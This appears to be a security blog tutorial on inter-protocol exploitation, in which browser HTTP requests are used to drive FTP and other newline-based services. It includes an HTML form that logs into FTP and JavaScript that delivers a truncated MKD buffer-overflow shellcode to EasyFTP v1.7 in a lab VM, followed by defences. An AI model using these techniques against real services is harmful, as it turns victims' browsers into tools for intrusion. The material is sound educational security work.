What is it?
Inter-Protocol Communication is the ability of two different protocols to exchange meaningful commands and data.
These two protocols can be called the target protocol and the carrier protocol. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use to encapsulate and send the commands and data.
There are a few requirements for communication to be possible:
- The target protocol must be error tolerant. The reason for this is that, since we are communicating through a different carrier protocol, we will be sending some messages that the target protocol won’t understand.
- It must be possible to encapsulate the target protocol in the carrier protocol. Even if the target protocol doesn’t understand all of the messages it receives, it has to understand the important ones.
What can you do with it?
Inter-Protocol Exploitation: use a protocol to attack a service running another protocol. Wade Alcorn researched about this in 2006/2007 (see  and ).
It is particularly interesting to talk about HTTP as the carrier protocol because attacks can be launched from a web browser and everyone has one! This kind of attack can be used by an attacker to gain access to resources and services that only the victim has access to by making the victim do the “dirty work”.
Newline-based protocols such as SMTP, POP3, IRC and FTP – that use new lines as separators – are affected by this because the lines sent to the target protocol are interpreted one at a time. Add the fact that the target protocol is error tolerant and this makes it possible for the target to simply ignore the lines it doesn’t understand and interpret the lines it does.
To better understand how this works, let’s look at a simple example.
Example 1 : Connecting to FTP through HTTP
It is very easy to make a browser connect to an FTP server with an HTTP POST request. Here’s what the HTML form looks like if the FTP server is on the same machine as the browser:
<form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
<input type='hidden' name='a' value='user secforce'>
<input type='hidden' name='a' value='pass secforce'>
Supposing that this FTP user and password exist, when this form is submitted you will have logged in to your FTP server. Easy, right?
This is the actual HTTP POST request being sent:
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"
Content-Disposition: form-data; name="a"
Here is the reply we receive from the FTP server. All the 50x errors correspond to the HTTP lines the server didn’t understand. The server ignores those and interprets the lines it does understand.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-Local time is now 12:41. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
530 You aren't logged in
331 User secforce OK. Password required
230 OK. Current directory is /
In-band vs out-of-band control
You might notice that not all FTP commands work over HTTP. Commands like MKD/RMD and DEL work whereas GET/PUT, RETR/STOR don’t. The reason for this is that FTP is an out-of-band protocol, meaning it uses separate TCP ports for data and control connections. In fact, if you try to use STOR to upload a file to the server, you will create an empty file with the name you specified. This happens because the file is created before the transfer occurs. All commands that don’t need a separate data connection – that only use the control connection – will work.
Let’s now look at a more interesting example.
Example 2 : Running an FTP exploit through HTTP.
For this example we picked EasyFTP v1.7, an FTP server vulnerable to a buffer overflow on the MKD command. Note that this command only uses the control connection, which makes our life easier! We set up the server in a virtual machine (192.168.1.10) and created the user ‘anonymous’ because for the exploit to work you need to be logged in to the server.
Here is our function:
var url = 'http://192.168.1.10:21'
var intro = 'USER anonymous\r\nPASS anonymous\r\n'
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7
var req = new XMLHttpRequest();
req.open('POST', url, true);
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP
Happy days! 🙂
How to defend against it?
- Port blocking – By default, most browsers deny connections to several known ports (21/FTP, 25/SMTP, etc). This protection can be overcome by tweaking the browser configuration or by using non-standard ports.
- Less error tolerance – Some protocols close the connection if they receive something they don’t understand. This provides less flexibility but more security against this kind of attack. A better option is to close the connection after a few unrecognized commands.
As mentioned before, this kind of attack has several limitations and requirements. Although there are often easier ways to achieve the same result, under certain circumstances, this can be a valid vector of attack.
More about this